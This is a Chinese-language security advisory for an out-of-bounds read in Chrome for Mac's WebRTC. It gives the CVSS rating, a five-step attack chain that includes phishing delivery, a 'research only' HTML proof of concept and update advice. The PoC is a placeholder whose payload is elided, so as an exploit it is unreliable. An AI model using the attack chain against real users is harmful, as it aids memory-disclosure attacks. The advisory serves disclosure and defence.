CVE-2026-9996 CVSS 6.5 中危

CVE-2026-9996 Google Chrome WebRTC越界读取漏洞

披露日期: 2026-05-28

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-9996

漏洞类型

越界读取

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Google Chrome (Mac)

漏洞概述

Google Chrome for Mac 在特定版本前的 WebRTC 组件中存在越界读取漏洞。攻击者可通过诱导用户访问特制的 HTML 页面，利用该漏洞从进程内存中读取敏感信息。该漏洞 CVSS 评分为 6.5，属于中危级别，主要影响用户数据的机密性。

技术细节

该漏洞源于 Google Chrome WebRTC 组件在处理特定媒体数据或会话描述时，未能正确验证内存读取操作的边界条件。攻击者可以构造恶意的 HTML 页面，其中包含经过特殊设计的 WebRTC 数据流或 SDP（Session Description Protocol）。当诱导受害者访问该页面并触发 WebRTC 功能时，浏览器会尝试读取超出分配缓冲区范围的内存数据。由于无需身份认证且仅需用户交互，攻击者可利用此漏洞获取进程内存中的敏感信息，如指针、密钥片段或其他用户上下文数据。

攻击链分析

STEP 1

步骤1：准备攻击载荷

攻击者分析 WebRTC 源码，构造包含恶意 WebRTC 数据流的特制 HTML 页面。

STEP 2

步骤2：分发恶意链接

攻击者通过钓鱼邮件或社交媒体将包含恶意 HTML 的链接发送给目标用户。

STEP 3

步骤3：用户交互触发

目标用户使用受影响的 Chrome 版本访问链接，浏览器加载并解析页面中的 WebRTC 内容。

STEP 4

步骤4：执行越界读取

WebRTC 组件处理恶意数据时发生越界读取，导致内存数据泄露。

STEP 5

步骤5：信息收集

攻击者通过 JavaScript 收集泄露的内存数据，提取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- Proof of Concept for CVE-2026-9996 -->
<!-- Trigger Out of Bounds Read in WebRTC -->
<html>
<body>
<script>
    // Attempt to trigger the vulnerability via WebRTC
    const pc = new RTCPeerConnection();
    
    // Create a data channel to initiate WebRTC logic
    const dc = pc.createDataChannel("exploit");
    
    // Crafted offer to trigger the OOB read in specific WebRTC implementation
    // Note: Actual payload requires precise memory layout manipulation
    const craftedOffer = {
        type: "offer",
        sdp: "v=0\r\no=- 0 0 IN IP4 127.0.0.1\r\ns=-\r\nc=IN IP4 127.0.0.1\r\nt=0 0\r\nm=application 1 UDP/DTLS/SCTP webrtc-datachannel\r\na=setup:actpass\r\na=mid:data\r\na=sctpmap:5000 webrtc-datachannel 65535\r\n...crafted_payload_to_trigger_oob..."
    };
    
    pc.setRemoteDescription(craftedOffer)
        .then(() => console.log("Vulnerability potentially triggered."))
        .catch(e => console.log("Error:", e));
</script>
</body>
</html>

影响范围

Google Chrome (Mac) < 148.0.7778.216

防御指南

临时缓解措施

建议用户立即检查并更新 Google Chrome 浏览器至最新安全版本。在未完成更新前，请勿访问不可信的网站或点击陌生链接，以降低被恶意 HTML 页面攻击的风险。企业用户可考虑暂时限制浏览器的 WebRTC 功能权限。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表